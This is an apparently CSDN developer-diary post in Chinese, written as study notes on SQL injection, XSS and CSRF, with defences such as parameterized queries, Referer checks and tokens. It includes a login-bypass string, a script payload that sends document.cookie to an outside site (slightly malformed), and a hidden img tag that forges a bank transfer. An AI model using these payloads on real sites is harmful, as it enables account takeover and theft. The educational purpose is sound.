开发日记之网络安全宣传周学习(SQL注入;XSS;CSRF)

SQL注入:

比如我登陆一个账号
username:jojo
password:123
到了后台后,sql语句逻辑即为:

select * from table where username='jojo' and password='123'

此时,如果我输入的用户名为jojo’–

select * from table where username='jojo'--' and password='123'

则不用密码也可以获取账号的信息

所以我们平时写代码的时候喜欢这样写,防止sql注入:

a:=jojo
b:=123
_, err := mdl.Table.Query(select * from table where username=? and password=?,a,b).RowsMapInterface()

XSS(cross site script 跨站脚本攻击):

DOM-Based XSS(基于DOM的xss):
假如登录一个网站:https://www.csdn.com/index.html?param=jojo

如果param的值不是一个普通的字符,而是一段恶意脚本: https://www.csdn.com/index.html?param=<script>window.open("https://www.pornhub.com?Cookie=") +document. Cookie) </script>

浏览器发现网页端有< script >标签,便老老实实的执行了恶意脚本:

<script>window.open("https://www.pornhub.com?Cookie=") +document. Cookie) </script>

这段恶意脚本会将用户的cookie发送到https://www.pornhub.com从而达到窃取的目的

Stored XSS(存储型XSS):
比如用户在文章下面评论“牛逼<script>window.open("https://www.pornhub.com?Cookie=") +document. Cookie) </script>”,这条评论存到数据库后,
其他用户在查看这个评论的同时,也会执行这个恶意脚本,杀人于无形
防范XSS攻击的主要方法就是检验用户提交的信息是否有脚本

CSRF(Cross Site Request Forgery 跨站请求伪造)

比如在B网站你点击了下面这玩意,他就会向A网站发请求,转1千给123456这个黑客

<img style="width:0;"  src="http://www.bankA.com/APi/transfer?toiD=123456&cash=1000"/>

避免CSRF攻击的方法有:
区分当前请求的来源网站:HTTP请求头里面有个字段Referer就是用来标示本次HTTP请求来源的。在例子中把不是A网站的请求均判为非法请求即可
在表单中添加校验token。在例子中发起CSRF攻击的B网站他获取不了token,所以身份认证失败,请求失败

关于token:
Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值